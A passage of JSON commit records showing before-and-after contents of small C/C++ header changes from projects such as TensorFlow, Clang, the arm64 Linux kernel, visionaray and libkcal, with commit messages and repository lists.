{"commit":"3dbfb109ef1ee964a95c283076821be2bcaa896e","old_file":"include\/visionaray\/math\/ray.h","new_file":"include\/visionaray\/math\/ray.h","old_contents":"\/\/ This file is distributed under the MIT license.\n\/\/ See the LICENSE file for details.\n\n#pragma once\n\n#ifndef VSNRAY_MATH_RAY_H\n#define VSNRAY_MATH_RAY_H 1\n\n#include \"config.h\"\n#include \"vector.h\"\n\nnamespace MATH_NAMESPACE\n{\n\ntemplate <typename T>\nclass basic_ray\n{\npublic:\n\n    typedef T scalar_type;\n    typedef vector<3, T> vec_type;\n\npublic:\n\n    vec_type ori;\n    vec_type dir;\n\n    basic_ray() = default;\n    MATH_FUNC basic_ray(vector<3, T> const& o, vector<3, T> const& d);\n\n};\n\n} \/\/ MATH_NAMESPACE\n\n#include \"detail\/ray.inl\"\n\n#endif \/\/ VSNRAY_MATH_RAY_H\n","new_contents":"\/\/ This file is distributed under the MIT license.\n\/\/ See the LICENSE file for details.\n\n#pragma once\n\n#ifndef VSNRAY_MATH_RAY_H\n#define VSNRAY_MATH_RAY_H 1\n\n#include \"config.h\"\n#include \"vector.h\"\n\nnamespace MATH_NAMESPACE\n{\n\ntemplate <typename T>\nclass basic_ray\n{\npublic:\n\n    typedef T scalar_type;\n    typedef vector<3, T> vec_type;\n\npublic:\n\n    vec_type ori;\n    vec_type dir;\n\n    MATH_FUNC basic_ray() = default;\n    MATH_FUNC basic_ray(vector<3, T> const& o, vector<3, T> const& d);\n\n};\n\n} \/\/ MATH_NAMESPACE\n\n#include \"detail\/ray.inl\"\n\n#endif \/\/ VSNRAY_MATH_RAY_H\n","subject":"Mark default ctor host\/device for hcc","message":"Mark default ctor host\/device for hcc\n","lang":"C","license":"mit","repos":"szellmann\/visionaray,szellmann\/visionaray"}
{"commit":"ce298391eaa951a637d4155212e4927ea576e003","old_file":"tensorflow\/c\/experimental\/filesystem\/plugins\/posix\/posix_filesystem.h","new_file":"tensorflow\/c\/experimental\/filesystem\/plugins\/posix\/posix_filesystem.h","old_contents":"","new_contents":"\/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n#ifndef TENSORFLOW_C_EXPERIMENTAL_FILESYSTEM_PLUGINS_POSIX_POSIX_FILESYSTEM_H_\n#define TENSORFLOW_C_EXPERIMENTAL_FILESYSTEM_PLUGINS_POSIX_POSIX_FILESYSTEM_H_\n\n\/\/ Initialize the POSIX filesystem.\n\/\/\n\/\/ In general, the `TF_InitPlugin` symbol doesn't need to be exposed in a header\n\/\/ file, since the plugin registration will look for the symbol in the DSO file\n\/\/ that provides the filesystem functionality. However, the POSIX filesystem\n\/\/ needs to be statically registered in some tests and utilities for building\n\/\/ the API files at the time of creating the pip package. Hence, we need to\n\/\/ expose this function so that this filesystem can be statically registered\n\/\/ when needed.\nvoid TF_InitPlugin(TF_FilesystemPluginInfo* info);\n\n#endif  \/\/ TENSORFLOW_C_EXPERIMENTAL_FILESYSTEM_MODULAR_FILESYSTEM_H_\n","subject":"Add a header file for the POSIX filesystem.","message":"Add a header file for the POSIX filesystem.\n\nThis header only exposes `TF_InitPlugin` as we need to call this\nfunction when registering the local filesystems statically.\n","lang":"C","license":"apache-2.0","repos":"petewarden\/tensorflow,petewarden\/tensorflow,gunan\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,annarev\/tensorflow,yongtang\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,annarev\/tensorflow,Intel-Corporation\/tensorflow,paolodedios\/tensorflow,frreiss\/tensorflow-fred,aldian\/tensorflow,paolodedios\/tensorflow,aam-at\/tensorflow,freedomtan\/tensorflow,petewarden\/tensorflow,gunan\/tensorflow,sarvex\/tensorflow,paolodedios\/tensorflow,gautam1858\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,paolodedios\/tensorflow,aam-at\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_saved_model,frreiss\/tensorflow-fred,karllessard\/tensorflow,Intel-Corporation\/tensorflow,Intel-Corporation\/tensorflow,Intel-tensorflow\/tensorflow,davidzchen\/tensorflow,Intel-tensorflow\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,gunan\/tensorflow,freedomtan\/tensorflow,karllessard\/tensorflow,karllessard\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,cxxgtxy\/tensorflow,gunan\/tensorflow,yongtang\/tensorflow,freedomtan\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_tf_optimizer,sarvex\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,freedomtan\/tensorflow,karllessard\/tensorflow,aldian\/tensorflow,yongtang\/tensorflow,aldian\/tensorflow,cxxgtxy\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,sarvex\/tensorflow,davidzchen\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow,gunan\/tensorflow,cxxgtxy\/tensorflow,paolodedios\/tensorflow,cxxgtxy\/tensorflow,freedomtan\/tensorflow,petewarden\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,aam-at\/tensorflow,annarev\/tensorflow,Intel-tensorflow\/tensorflow,aldian\/tensorflow,Intel-tensorflow\/tensorflow,yongtang\/tensorflow,gautam1858\/tensorflow,yongtang\/tensorflow,frreiss\/tensorflow-fred,davidzchen\/tensorflow,yongtang\/tensorflow,Intel-Corporation\/tensorflow,annarev\/tensorflow,aam-at\/tensorflow,freedomtan\/tensorflow,gunan\/tensorflow,Intel-Corporation\/tensorflow,gunan\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,frreiss\/tensorflow-fred,tensorflow\/tensorflow-pywrap_tf_optimizer,paolodedios\/tensorflow,petewarden\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,davidzchen\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,sarvex\/tensorflow,Intel-Corporation\/tensorflow,gautam1858\/tensorflow,annarev\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_saved_model,petewarden\/tensorflow,aldian\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,yongtang\/tensorflow,davidzchen\/tensorflow,aam-at\/tensorflow,Intel-tensorflow\/tensorflow,cxxgtxy\/tensorflow,gautam1858\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,annarev\/tensorflow,gunan\/tensorflow,gautam1858\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow,aam-at\/tensorflow,tensorflow\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,annarev\/tensorflow,freedomtan\/tensorflow,petewarden\/tensorflow,yongtang\/tensorflow,karllessard\/tensorflow,freedomtan\/tensorflow,gunan\/tensorflow,Intel-tensorflow\/tensorflow,petewarden\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,paolodedios\/tensorflow,aam-at\/tensorflow,aldian\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow,paolodedios\/tensorflow,gunan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow,yongtang\/tensorflow,gautam1858\/tensorflow,gunan\/tensorflow,aam-at\/tensorflow,freedomtan\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,aam-at\/tensorflow,aam-at\/tensorflow,freedomtan\/tensorflow,aam-at\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-Corporation\/tensorflow,davidzchen\/tensorflow,gautam1858\/tensorflow,yongtang\/tensorflow,cxxgtxy\/tensorflow,frreiss\/tensorflow-fred,gautam1858\/tensorflow,annarev\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,aldian\/tensorflow,frreiss\/tensorflow-fred,cxxgtxy\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-experimental_link_static_libraries_once,sarvex\/tensorflow,gunan\/tensorflow,petewarden\/tensorflow,Intel-Corporation\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow,davidzchen\/tensorflow,aam-at\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow,karllessard\/tensorflow,annarev\/tensorflow,frreiss\/tensorflow-fred,gautam1858\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,frreiss\/tensorflow-fred,karllessard\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-experimental_link_static_libraries_once,annarev\/tensorflow,paolodedios\/tensorflow,frreiss\/tensorflow-fred,freedomtan\/tensorflow,tensorflow\/tensorflow,cxxgtxy\/tensorflow,gautam1858\/tensorflow,Intel-tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,frreiss\/tensorflow-fred,aldian\/tensorflow,davidzchen\/tensorflow"}
{"commit":"9c44b57857b611f81c040d6ca57cff0908029e77","old_file":"mudlib\/mud\/home\/System\/lib\/auto\/second_auto.c","new_file":"mudlib\/mud\/home\/System\/lib\/auto\/second_auto.c","old_contents":"#include <kotaka\/privilege.h>\n#include <kotaka\/paths.h>\n#include <kotaka\/log.h>\n\n#include <trace.h>\n#include <type.h>\n#include <status.h>\n\ninherit \"call_guard\";\ninherit \"callout_guard\";\ninherit \"touch\";\ninherit \"object\";\n\nobject canary;\n\n\/**********\/\n\/* status *\/\n\/**********\/\n\nvoid set_canary(object new_canary)\n{\n\tACCESS_CHECK(SYSTEM());\n\n\tcanary = new_canary;\n}\n\nobject query_canary()\n{\n\tACCESS_CHECK(SYSTEM());\n\n\treturn canary;\n}\n\nnomask void _F_dummy()\n{\n}\n\nnomask mixed _F_status(mixed args ...)\n{\n\tACCESS_CHECK(SYSTEM());\n\n\treturn status(this_object(), args ...);\n}\n","new_contents":"#include <kotaka\/privilege.h>\n#include <kotaka\/paths.h>\n#include <kotaka\/log.h>\n\n#include <trace.h>\n#include <type.h>\n#include <status.h>\n\ninherit \"call_guard\";\ninherit \"callout_guard\";\ninherit \"touch\";\ninherit \"object\";\n\nobject canary;\n\n\/**********\/\n\/* status *\/\n\/**********\/\n\nvoid set_canary(object new_canary)\n{\n\tACCESS_CHECK(SYSTEM());\n\n\tcanary = new_canary;\n}\n\nobject query_canary()\n{\n\tACCESS_CHECK(SYSTEM());\n\n\treturn canary;\n}\n\nnomask void _F_dummy()\n{\n}\n\nnomask mixed _F_status(mixed args ...)\n{\n\tACCESS_CHECK(SYSTEM());\n\n\treturn status(this_object(), args ...);\n}\n\n#if 0\nnomask void save_object(string filename)\n{\n\terror(\"save_object is disabled\");\n}\n\nnomask void restore_object(string filename)\n{\n\terror(\"restore_object is disabled\");\n}\n#endif\n","subject":"Allow disable of save\/restore object","message":"Allow disable of save\/restore object\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"b2340338a2ae45bc6e4481893fb7c70b9a662840","old_file":"lib\/StaticAnalyzer\/Checkers\/InterCheckerAPI.h","new_file":"lib\/StaticAnalyzer\/Checkers\/InterCheckerAPI.h","old_contents":"\/\/==--- InterCheckerAPI.h ---------------------------------------*- C++ -*-==\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ This file allows introduction of checker dependencies. It contains APIs for\n\/\/ inter-checker communications.\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_LIB_STATICANALYZER_CHECKERS_INTERCHECKERAPI_H\n#define LLVM_CLANG_LIB_STATICANALYZER_CHECKERS_INTERCHECKERAPI_H\nnamespace clang {\nnamespace ento {\n\n\/\/\/ Register the checker which evaluates CString API calls.\nvoid registerCStringCheckerBasic(CheckerManager &Mgr);\n\n}}\n#endif \/* INTERCHECKERAPI_H_ *\/\n","new_contents":"\/\/==--- InterCheckerAPI.h ---------------------------------------*- C++ -*-==\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ This file allows introduction of checker dependencies. It contains APIs for\n\/\/ inter-checker communications.\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_LIB_STATICANALYZER_CHECKERS_INTERCHECKERAPI_H\n#define LLVM_CLANG_LIB_STATICANALYZER_CHECKERS_INTERCHECKERAPI_H\nnamespace clang {\nclass CheckerManager;\n\nnamespace ento {\n\n\/\/\/ Register the checker which evaluates CString API calls.\nvoid registerCStringCheckerBasic(CheckerManager &Mgr);\n\n}}\n#endif \/* INTERCHECKERAPI_H_ *\/\n","subject":"Add a missing forward def of CheckerManager. NFC.","message":"Add a missing forward def of CheckerManager.  NFC.\n\nThis file doesn't include CheckerManager or forward declare it, so is sensitive to include order.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@235209 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"4a12cae7ef2612eb094c4b48e8b37cf837e3df55","old_file":"arch\/arm64\/include\/asm\/spinlock_types.h","new_file":"arch\/arm64\/include\/asm\/spinlock_types.h","old_contents":"\/*\n * Copyright (C) 2012 ARM Ltd.\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#ifndef __ASM_SPINLOCK_TYPES_H\n#define __ASM_SPINLOCK_TYPES_H\n\n#if !defined(__LINUX_SPINLOCK_TYPES_H) && !defined(__ASM_SPINLOCK_H)\n# error \"please don't include this file directly\"\n#endif\n\n#define TICKET_SHIFT\t16\n\ntypedef struct {\n\tu16 owner;\n\tu16 next;\n} __aligned(4) arch_spinlock_t;\n\n#define __ARCH_SPIN_LOCK_UNLOCKED\t{ 0 , 0 }\n\ntypedef struct {\n\tvolatile unsigned int lock;\n} arch_rwlock_t;\n\n#define __ARCH_RW_LOCK_UNLOCKED\t\t{ 0 }\n\n#endif\n","new_contents":"\/*\n * Copyright (C) 2012 ARM Ltd.\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#ifndef __ASM_SPINLOCK_TYPES_H\n#define __ASM_SPINLOCK_TYPES_H\n\n#if !defined(__LINUX_SPINLOCK_TYPES_H) && !defined(__ASM_SPINLOCK_H)\n# error \"please don't include this file directly\"\n#endif\n\n#define TICKET_SHIFT\t16\n\ntypedef struct {\n#ifdef __AARCH64EB__\n\tu16 next;\n\tu16 owner;\n#else\n\tu16 owner;\n\tu16 next;\n#endif\n} __aligned(4) arch_spinlock_t;\n\n#define __ARCH_SPIN_LOCK_UNLOCKED\t{ 0 , 0 }\n\ntypedef struct {\n\tvolatile unsigned int lock;\n} arch_rwlock_t;\n\n#define __ARCH_RW_LOCK_UNLOCKED\t\t{ 0 }\n\n#endif\n","subject":"Fix the endianness of arch_spinlock_t","message":"arm64: Fix the endianness of arch_spinlock_t\n\nThe owner and next members of the arch_spinlock_t structure need to be\nswapped when compiling for big endian.\n\nSigned-off-by: Catalin Marinas <15ce75b290ebaf27c3f9fd73ab848685ed3d8261@arm.com>\nReported-by: Matthew Leach <968f99dd328b703d57aa48028082f52162903fed@arm.com>\nAcked-by: Will Deacon <b913f13ef92ac157955c954ccaaff7be065faba4@arm.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"b129ff9f3ce7d5f931d16f6eb0d68b9ee95ebc22","old_file":"InputPacket.h","new_file":"InputPacket.h","old_contents":"#pragma once\n#include <cstdint>\n\nnamespace ni {\n\tstruct InputPacket {\n\t\tconstexpr static int MAGIC = 0xD00D;\n\t\tconstexpr static int TYPE_LENGTH = 16;\n\t\tconstexpr static int DATA_LENGTH = 128;\n\n\t\tuint16_t magic;\n\t\tchar type[TYPE_LENGTH];\n\t\tuint16_t length;\n\t\tuint8_t data[DATA_LENGTH];\n\n\t\tbool isValid() const;\n\t\tbool isSafe() const;\n\t};\n}","new_contents":"#pragma once\n#include <cstdint>\n#include \"DeviceType.h\"\n\nnamespace ni {\n\tstruct InputPacket {\n\t\tconstexpr static int MAGIC = 0xD00D;\n\t\tconstexpr static int DATA_LENGTH = 128;\n\n\t\tuint16_t magic;\n\t\tDeviceType type;\n\t\tuint16_t length;\n\t\tuint8_t data[DATA_LENGTH];\n\n\t\tbool isValid() const;\n\t\tbool isSafe() const;\n\t};\n}","subject":"Use DeviceType enum for the type field.","message":"Use DeviceType enum for the type field.\n","lang":"C","license":"mit","repos":"jack-karamanian\/NetInput"}
{"commit":"f8c9e7d30e824f4b1a983b4b1134feba4385293e","old_file":"src\/gui\/GuiText.h","new_file":"src\/gui\/GuiText.h","old_contents":"\/\/\n\/\/ Created by dar on 2\/13\/16.\n\/\/\n\n#ifndef C003_GUITEXT_H\n#define C003_GUITEXT_H\n\n#include \"GuiElement.h\"\n#include <string>\n\nclass GuiText : public GuiElement {\npublic:\n    GuiText(const std::string &string, int x, int y, char position, float scale, int color, char flags) {\n        this->string = string;\n        this->rawX = x;\n        this->rawY = y;\n        this->positionFlag = position;\n        this->scale = scale;\n        this->recalculateSize();\n    }\n\n    const std::string &getString() const {\n        return string;\n    }\n\n    void updateString(const std::string &string) {\n        this->string = string;\n        this->recalculateSize();\n    }\n\n    float getScale() const {\n        return scale;\n    }\n\n    void setScale(float scale) {\n        GuiText::scale = scale;\n    }\n\n    int getColor() const {\n        return color;\n    }\n\n    void setColor(int color) {\n        GuiText::color = color;\n    }\n\n    char getFlags() const {\n        return flags;\n    }\n\n    void setFlags(char flags) {\n        GuiText::flags = flags;\n    }\n\nprivate:\n    std::string string;\n    float scale;\n    int color;\n    char flags;\n\n    void recalculateSize() {\n        \/\/TODO this->width = getStringWidth(string); this->height = ...\n    }\n};\n\n#endif \/\/C003_GUITEXT_H\n","new_contents":"\/\/\n\/\/ Created by dar on 2\/13\/16.\n\/\/\n\n#ifndef C003_GUITEXT_H\n#define C003_GUITEXT_H\n\n#include \"GuiElement.h\"\n#include <string>\n\nclass GuiText : public GuiElement {\npublic:\n    GuiText(const std::string &string, int x, int y, char position, float scale, int color, char flags) {\n        this->string = string;\n        this->rawX = x;\n        this->rawY = y;\n        this->positionFlag = position;\n        this->scale = scale;\n        this->flags = flags;\n        this->recalculateSize();\n    }\n\n    const std::string &getString() const {\n        return string;\n    }\n\n    void updateString(const std::string &string) {\n        this->string = string;\n        this->recalculateSize();\n    }\n\n    float getScale() const {\n        return scale;\n    }\n\n    void setScale(float scale) {\n        GuiText::scale = scale;\n    }\n\n    int getColor() const {\n        return color;\n    }\n\n    void setColor(int color) {\n        GuiText::color = color;\n    }\n\n    char getFlags() const {\n        return flags;\n    }\n\n    void setFlags(char flags) {\n        GuiText::flags = flags;\n    }\n\nprivate:\n    std::string string;\n    float scale;\n    int color;\n    char flags;\n\n    void recalculateSize() {\n        \/\/TODO this->width = getStringWidth(string); this->height = ...\n    }\n};\n\n#endif \/\/C003_GUITEXT_H\n","subject":"Set \"flags\" variable in constructor","message":"Set \"flags\" variable in constructor\n","lang":"C","license":"mit","repos":"darsto\/spooky,darsto\/spooky"}
{"commit":"8f39850a0cc1114eeb77d3e71fa2eed98f61ca87","old_file":"ffmpeg\/lpms_ffmpeg.h","new_file":"ffmpeg\/lpms_ffmpeg.h","old_contents":"#include <libavutil\/rational.h>\n\ntypedef struct {\n  char *fname;\n  int w, h, bitrate;\n  AVRational fps;\n} output_params;\n\nvoid lpms_init();\nvoid lpms_deinit();\nint  lpms_rtmp2hls(char *listen, char *outf, char *ts_tmpl, char *seg_time, char *seg_start);\nint  lpms_transcode(char *inp, output_params *params, int nb_outputs);\nint  lpms_length(char *inp, int ts_max, int packet_max);\n","new_contents":"#ifndef _LPMS_FFMPEG_H_\n#define _LPMS_FFMPEG_H_\n\n#include <libavutil\/rational.h>\n\ntypedef struct {\n  char *fname;\n  int w, h, bitrate;\n  AVRational fps;\n} output_params;\n\nvoid lpms_init();\nint  lpms_rtmp2hls(char *listen, char *outf, char *ts_tmpl, char *seg_time, char *seg_start);\nint  lpms_transcode(char *inp, output_params *params, int nb_outputs);\n\n#endif \/\/ _LPMS_FFMPEG_H_\n","subject":"Remove unused declarations from headers.","message":"ffmpeg: Remove unused declarations from headers.\n\nAlso add some include guards.\n","lang":"C","license":"mit","repos":"livepeer\/lpms,livepeer\/lpms,livepeer\/lpms,livepeer\/lpms"}
{"commit":"809c60bbcec764ce8068515dac7d853d1d2771a6","old_file":"pgf+\/include\/gf\/IOException.h","new_file":"pgf+\/include\/gf\/IOException.h","old_contents":"\/\/\n\/\/  IOException.h\n\/\/  pgf+\n\/\/\n\/\/  Created by Emil Djupfeldt on 2012-06-22.\n\/\/  Copyright (c) 2012 Chalmers University of Technology. All rights reserved.\n\/\/\n\n#ifndef pgf__IOException_h\n#define pgf__IOException_h\n\n#include <gf\/Exception.h>\n\nnamespace gf {\n    \n    class IOException : public Exception {\n    private:\n        \n    public:\n        IOException();\n        IOException(const std::string& message);\n        virtual ~IOException();\n    };\n    \n}\n\n#endif\n","new_contents":"\/\/\n\/\/  IOException.h\n\/\/  pgf+\n\/\/\n\/\/  Created by Emil Djupfeldt on 2012-06-22.\n\/\/  Copyright (c) 2012 Chalmers University of Technology. All rights reserved.\n\/\/\n\n#ifndef pgf__IOException_h\n#define pgf__IOException_h\n\n#include <gf\/Exception.h>\n\nnamespace gf {\n    \n    class IOException : public Exception {\n    private:\n        \n    public:\n        IOException();\n        IOException(const std::string& message);\n        IOException(int err);\n        virtual ~IOException();\n    };\n    \n}\n\n#endif\n","subject":"Add a constructor taking an c error number.","message":"Add a constructor taking an c error number.\n","lang":"C","license":"bsd-2-clause","repos":"egladil\/mscthesis,egladil\/mscthesis,egladil\/mscthesis"}
{"commit":"458cc64daaccf3d2e69222538aeaf3598eed1137","old_file":"libkcal\/kcalversion.h","new_file":"libkcal\/kcalversion.h","old_contents":"\/*\n    This file is part of libkcal.\n\t\t\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public License\n    along with this library; see the file COPYING.LIB.  If not, write to\n    the Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n    Boston, MA 02111-1307, USA.\n*\/\n#ifndef KCAL_KCALVERSION_H\n#define KCAL_KCALVERSION_H\n\n#define LIBKCAL_IS_VERSION( a,b,c ) ( LIBKCAL_VERSION >= KDE_MAKE_VERSION(a,b,c) )\n#define LIBKCAL_VERSION KDE_MAKE_VERSION(1,1,0)\n#define LIBKCAL_VERSIONSTR \"1.1\"\n\n#endif\n","new_contents":"\/*\n    This file is part of libkcal.\n\t\t\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public License\n    along with this library; see the file COPYING.LIB.  If not, write to\n    the Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n    Boston, MA 02111-1307, USA.\n*\/\n#ifndef KCAL_KCALVERSION_H\n#define KCAL_KCALVERSION_H\n\n#define LIBKCAL_IS_VERSION( a,b,c ) ( LIBKCAL_VERSION >= KDE_MAKE_VERSION(a,b,c) )\n#define LIBKCAL_VERSION KDE_MAKE_VERSION(1,2,0)\n#define LIBKCAL_VERSIONSTR \"1.2\"\n\n#endif\n","subject":"Increase libkcal version number, since we had bic changes since kde 3.3....","message":"Increase libkcal version number, since we had bic changes since kde 3.3....\n\nsvn path=\/trunk\/kdepim\/; revision=385823\n","lang":"C","license":"lgpl-2.1","repos":"lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi"}
{"commit":"48d1fe7a3839c98aa923e98e8c77574c9c611d9b","old_file":"tensorflow_serving\/util\/inline_executor.h","new_file":"tensorflow_serving\/util\/inline_executor.h","old_contents":"\/* Copyright 2016 Google Inc. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_SERVING_UTIL_INLINE_EXECUTOR_H_\n#define TENSORFLOW_SERVING_UTIL_INLINE_EXECUTOR_H_\n\n#include <functional>\n\n#include \"tensorflow\/core\/platform\/macros.h\"\n#include \"tensorflow_serving\/util\/executor.h\"\n\nnamespace tensorflow {\nnamespace serving {\n\n\/\/ An InlineExecutor is a trivial executor that immediately executes the closure\n\/\/ given to it. It's useful as a mock, and in cases where an executor is needed,\n\/\/ but multi-threadedness is not.\nclass InlineExecutor : public Executor {\n public:\n  InlineExecutor();\n  ~InlineExecutor() override;\n  void Schedule(std::function<void()> fn) override;\n};\n\n}  \/\/ namespace serving\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_SERVING_UTIL_INLINE_EXECUTOR_H_\n","new_contents":"\/* Copyright 2016 Google Inc. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_SERVING_UTIL_INLINE_EXECUTOR_H_\n#define TENSORFLOW_SERVING_UTIL_INLINE_EXECUTOR_H_\n\n#include <functional>\n\n#include \"tensorflow\/core\/platform\/macros.h\"\n#include \"tensorflow_serving\/util\/executor.h\"\n\nnamespace tensorflow {\nnamespace serving {\n\n\/\/ An InlineExecutor is a trivial executor that immediately executes the closure\n\/\/ given to it. It's useful as a fake, and in cases where an executor is needed,\n\/\/ but multi-threadedness is not.\nclass InlineExecutor : public Executor {\n public:\n  InlineExecutor();\n  ~InlineExecutor() override;\n  void Schedule(std::function<void()> fn) override;\n};\n\n}  \/\/ namespace serving\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_SERVING_UTIL_INLINE_EXECUTOR_H_\n","subject":"Correct mock -> fake in InlineExecutor documentation. Change: 163386931","message":"Correct mock 